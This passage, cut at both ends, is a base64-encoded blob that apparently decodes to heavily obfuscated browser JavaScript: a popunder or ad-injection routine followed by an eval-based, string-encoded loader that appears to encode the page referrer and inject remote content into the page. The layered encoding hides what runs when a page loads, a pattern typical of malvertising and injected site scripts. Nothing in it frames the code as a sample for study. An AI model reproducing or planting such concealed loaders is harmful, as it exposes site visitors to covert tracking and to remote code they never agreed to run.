JuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwrJ1x4MzFceDMxXHgzMVx4MzlceDMyJyxULkgoJ1x4MzNceDM0XHgzMlx4MzNceDM2JywwLFQueigwKSksMjQ2MSwzMjU1NywxMDIxMF0sby5jdXJyZW50U2NyaXB0LFQuSCgiMSIsMSxULmcoMikpXTt9Y2F0Y2gobyl7dm9pZCgnXHgzMCcqMSkhPT1lLmNvbnNvbGUmJmUuY29uc29sZS5sb2cmJkZ1bmN0aW9uLmFwcGx5LmNhbGwoZS5jb25zb2xlLmxvZyxlLmNvbnNvbGUsW1QuSSgnXHgzMVx4MzMnfDApXSk7fX0od2luZG93LGRvY3VtZW50LHdpbmRvd1t3aW5kb3cucG9wbnN8fGY1eXkuUigiMyItMCldKTt2YXIgXzB4MTM4Zj1bJ1x4NThceDQ4XHg2M1x4NzInLCdceDQ5XHg1NFx4NDVceDZmXHg2NFx4NDNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NmNceDUwXHg1NFx4NDVceDZmXHg1YVx4NTNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NzVceDUwXHg1OFx4NTFceDc1XHg2Mlx4NzlceDY3XHg2OVx4NjJceDUzXHg0OVx4NzBceDRmXHg3YVx4NTlceDY3XHg2Mlx4NjlceDM0XHg3OVx4NGNceDZkXHg3N1x4MzlceDQ5XHg2ZFx4NzNceDY5XHg0Y1x4NDdceDM0XHg3NVx4NGRceDY5XHgzNVx4NzdceDUwXHg1NFx4NDFceDczXHg2Mlx4NjlceDM0XHg3OVx4NGNceDZlXHg0NVx4MzlceDRkXHg0M1x4NzhceDc1XHg0Y1x4NmFceDQ5XHg3NVx4NjRceDdhXHgzMFx4NjlceDYxXHg2OVx4NDlceDczXHg2Mlx4NjlceDM1XHgzMVx4NTBceDUzXHg0OVx4MzNceDRmXHg2OVx4MzhceDc2XHg2M1x4NjlceDM1XHgzNFx4NGNceDZhXHg1NVx4NzZceDYxXHg0M1x4MzlceDY4XHg0Y1x4NzlceDQ5XHg3Mlx4NWFceDUzXHg3OFx4MzBceDRjXHg2ZFx4NDlceDc1XHg2MVx4NTNceDY4XHg3NVx4NGJceDUzXHg3OFx4NzVceDY2XHg1M1x4NzhceDc1XHg1MFx4NTdceDRkXHg2Zlx4NWFceDc5XHg2N1x4NmZceDY0XHg0M1x4MzVceDZiXHg0Y1x4NmVceDU5XHg2Zlx4NTFceDY5XHg0Mlx4NGZceDRiXHg0M1x4NDlceDZmXHg0ZVx4N2FceDM5XHgzOFx4NTNceDY5XHgzMVx4MzVceDRiXHg1NFx4NzBceDYzXHg1OFx4NDNceDM5XHg2M1x4NThceDQzXHgzOFx4NjlceDRiXHg1M1x4NzdceDY5XHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDRjXHg3OVx4NDlceDcwXHg1N1x4N2FceDQyXHg2NFx4NjZceDQ4XHg3N1x4NjlceDUzXHg3OVx4MzRceDMxXHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDQ5XHg2OVx4NmJceDc1XHg1NFx4NDNceDY3XHg3OFx4NGJceDQ4XHg1MVx4NzBceDY1XHg3YVx4NTlceDY3XHg2NFx4NDNceDM1XHg0ZVx4NGJceDQ0XHg0MVx4NzBceDRjXHg2Ylx4NjNceDZmXHg1M1x4NDNceDZjXHgzOVx4NGJceDUzXHgzNVx4NDJceDRiXHg0M1x4NDlceDY5XHg0Ylx4NTNceDZiXHg3MFx4NGZceDMzXHg2Zlx4NzVceDRlXHg0M1x4NjdceDY5XHg1MVx4NzlceDQ5XHg3M1x4NGRceDUzXHg2N1x4NzBceDY1XHgzMlx4NTVceDZmXHg2Mlx4NjlceDczXHg2OVx4NGNceDMyXHg1OVx4NzVceDRmXHg1M1x4NDlceDcwXHg0Y1x4NmFceDUxXHg2Zlx4NDlceDZiXHg1MVx4NjlceDRjXHg0NFx4NDVceDZmXHg0Ylx4NThceDc0XHg0N1x4NGJceDQ0XHg0NVx4NmZceDRiXHg1OFx4NzRceDZjXHg0Ylx4NDdceDM0XHg3Mlx4NDlceDY5XHgzOVx4N2FceDRjXHg2YVx4NmJceDY5XHg0Ylx4NThceDMwXHg3M1x4NTJceDUzXHg2Y1x4MzlceDRiXHg1OFx4MzBceDcwXHg2Nlx4NTNceDY4XHg0YVx4NGJceDU0XHg3M1x4M2QnLCdceDYzXHgzM1x4NDJceDczXHg2MVx4NThceDUxXHgzZCcsJ1x4NWFceDZlXHg0YVx4NzZceDYyXHg1NVx4NGVceDZmXHg1OVx4NThceDRhXHg0NFx4NjJceDMyXHg1Mlx4NmMnLCdceDY0XHg0N1x4MzlceDU0XHg2NFx4NDhceDRhXHg3MFx4NjJceDZkXHg2M1x4M2QnLCdceDYzXHg2ZFx4NTZceDc3XHg2Mlx4NDdceDQ2XHg2YVx4NWFceDUxXHgzZFx4M2QnXTsoZnVuY3Rpb24oXzB4MWI1OWFjLF8weDMwZDYwNSl7dmFyIF8weDQ0NTljOT1mdW5jdGlvbihfMHgxNDY4YWMpe3doaWxlKC0tXzB4MTQ2OGFjKXtfMHgxYjU5YWNbJ3B1c2gnXShfMHgxYjU5YWNbJ3NoaWZ0J10oKSk7fX07XzB4NDQ1OWM5KCsrXzB4MzBkNjA1KTt9KF8weDEzOGYsMHgxMGIpKTt2YXIgXzB4MTdjMT1mdW5jdGlvbihfMHgxOTc3ZGIsXzB4Yzc5ZjY5KXtfMHgxOTc3ZGI9XzB4MTk3N2RiLTB4MDt2YXIgXzB4MTYyZGYyPV8weDEzOGZbXzB4MTk3N2RiXTtpZihfMHgxN2MxWydPTXJTcXgnXT09PXVuZGVmaW5lZCl7KGZ1bmN0aW9uKCl7dmFyIF8weDI0NzE2Njt0cnl7dmFyIF8weDViZDYyOT1GdW5jdGlvbigncmV0dXJuXHgyMChmdW5jdGlvbigpXHgyMCcrJ3t9LmNvbnN0cnVjdG9yKFx4MjJyZXR1cm5ceDIwdGhpc1x4MjIpKFx4MjApJysnKTsnKTtfMHgyNDcxNjY9XzB4NWJkNjI5KCk7fWNhdGNoKF8weDMyOTViMCl7XzB4MjQ3MTY2PXdpbmRvdzt9dmFyIF8weDI4M2NlOT0nQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nO18weDI0NzE2NlsnYXRvYiddfHwoXzB4MjQ3MTY2WydhdG9iJ109ZnVuY3Rpb24oXzB4MzQxYjE5KXt2YXIgXzB4MTQ0Zjk2PVN0cmluZyhfMHgzNDFiMTkpWydyZXBsYWNlJ10oLz0rJC8sJycpO2Zvcih2YXIgXzB4MjhhNzVlPTB4MCxfMHg1OWNiNWIsXzB4MWUwOTNkLF8weDUxZWZhNj0weDAsXzB4OTIyYWFjPScnO18weDFlMDkzZD1fMHgxNDRmOTZbJ2NoYXJBdCddKF8weDUxZWZhNisrKTt+XzB4MWUwOTNkJiYoXzB4NTljYjViPV8weDI4YTc1ZSUweDQ/XzB4NTljYjViKjB4NDArXzB4MWUwOTNkOl8weDFlMDkzZCxfMHgyOGE3NWUrKyUweDQpP18weDkyMmFhYys9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgweGZmJl8weDU5Y2I1Yj4+KC0weDIqXzB4MjhhNzVlJjB4NikpOjB4MCl7XzB4MWUwOTNkPV8weDI4M2NlOVsnaW5kZXhPZiddKF8weDFlMDkzZCk7fXJldHVybiBfMHg5MjJhYWM7fSk7fSgpKTtfMHgxN2MxWyd4anFrREYnXT1mdW5jdGlvbihfMHgzMzc3MTgpe3ZhciBfMHg1ZGRiMTU9YXRvYihfMHgzMzc3MTgpO3ZhciBfMHg1NjBiOTU9W107Zm9yKHZhciBfMHhjOTdmOTE9MHgwLF8weDQ0MTg3Mj1fMHg1ZGRiMTVbJ2xlbmd0aCddO18weGM5N2Y5MTxfMHg0NDE4NzI7XzB4Yzk3ZjkxKyspe18weDU2MGI5NSs9JyUnKygnMDAnK18weDVkZGIxNVsnY2hhckNvZGVBdCddKF8weGM5N2Y5MSlbJ3RvU3RyaW5nJ10oMHgxMCkpWydzbGljZSddKC0weDIpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDU2MGI5NSk7fTtfMHgxN2MxWydrRG1IU2snXT17fTtfMHgxN2MxWydPTXJTcXgnXT0hIVtdO312YXIgXzB4MzA2NDA1PV8weDE3YzFbJ2tEbUhTayddW18weDE5NzdkYl07aWYoXzB4MzA2NDA1PT09dW5kZWZpbmVkKXtfMHgxNjJkZjI9XzB4MTdjMVsneGpxa0RGJ10oXzB4MTYyZGYyKTtfMHgxN2MxWydrRG1IU2snXVtfMHgxOTc3ZGJdPV8weDE2MmRmMjt9ZWxzZXtfMHgxNjJkZjI9XzB4MzA2NDA1O31yZXR1cm4gXzB4MTYyZGYyO307ZXZhbChmdW5jdGlvbihfMHg0OWIyZTksXzB4MTA2OTM1LF8weDIyM2Q1NixfMHgyZmY2ZTksXzB4ZWQ3ZDI2LF8weDNiYzUwMCl7XzB4ZWQ3ZDI2PWZ1bmN0aW9uKF8weDI2YmI4Mil7cmV0dXJuKF8weDI2YmI4MjxfMHgxMDY5MzU/Jyc6XzB4ZWQ3ZDI2KHBhcnNlSW50KF8weDI2YmI4Mi9fMHgxMDY5MzUpKSkrKChfMHgyNmJiODI9XzB4MjZiYjgyJV8weDEwNjkzNSk+MHgyMz9TdHJpbmdbXzB4MTdjMSgnMHgwJyldKF8weDI2YmI4MisweDFkKTpfMHgyNmJiODJbXzB4MTdjMSgnMHgxJyldKDB4MjQpKTt9O2lmKCEnJ1tfMHgxN2MxKCcweDInKV0oL14vLFN0cmluZykpe3doaWxlKF8weDIyM2Q1Ni0tKXtfMHgzYmM1MDBbXzB4ZWQ3ZDI2KF8weDIyM2Q1NildPV8weDJmZjZlOVtfMHgyMjNkNTZdfHxfMHhlZDdkMjYoXzB4MjIzZDU2KTt9XzB4MmZmNmU5PVtmdW5jdGlvbihfMHgzMjA3ZjYpe3JldHVybiBfMHgzYmM1MDBbXzB4MzIwN2Y2XTt9XTtfMHhlZDdkMjY9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4MTdjMSgnMHgzJyk7fTtfMHgyMjNkNTY9MHgxO307d2hpbGUoXzB4MjIzZDU2LS0pe2lmKF8weDJmZjZlOVtfMHgyMjNkNTZdKXtfMHg0OWIyZTk9XzB4NDliMmU5W18weDE3YzEoJzB4MicpXShuZXcgUmVnRXhwKCdceDVjXHg2MicrXzB4ZWQ3ZDI2KF8weDIyM2Q1NikrJ1x4NWNceDYyJywnXHg2NycpLF8weDJmZjZlOVtfMHgyMjNkNTZdKTt9fXJldHVybiBfMHg0OWIyZTk7fShfMHgxN2MxKCcweDQnKSwweDMyLDB4MzIsJ1x4N2NceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZVx4N2NceDczXHg3NFx4NzlceDZjXHg2NVx4N2NceDczXHg3MFx4NmNceDY5XHg3NFx4N2NceDYxXHg2NFx4NjRceDQ1XHg3Nlx4NjVceDZlXHg3NFx4NGNceDY5XHg3M1x4NzRceDY1XHg2ZVx4NjVceDcyXHg3Y1x4NjNceDZmXHg2ZFx4N2NceDcyXHg2NVx4NzRceDc1XHg3Mlx4NmVceDdjXHg2OFx4NzRceDc0XHg3MFx4NzNceDdjXHg3Nlx4NjFceDcyXHg3Y1x4NzBceDZlXHg2N1x4N2NceDcwXHg3NFx4N2NceDYyXHg2Zlx4NjRceDc5XHg3Y1x4NjVceDZlXHg2M1x4NmZceDY0XHg2NVx4NTVceDUyXHg0OVx4NDNceDZmXHg2ZFx4NzBceDZmXHg2ZVx4NjVceDZlXHg3NFx4N2NceDcyXHg2NVx4NjZceDY1XHg3Mlx4NzJceDY1XHg3Mlx4N2NceDdjXHg3Y1x4NjJceDc0XHg2Zlx4NjFceDdjXHg3Nlx4MzFceDdjXHg2MVx4NzBceDcwXHg2NVx4NmVceDY0XHg0M1x4NjhceDY5XHg2Y1x4NjRceDdjXHg2ZVx4NmZceDZlXHg2NVx4N2NceDYxXHg2Mlx4NzNceDZmXHg2Y1x4N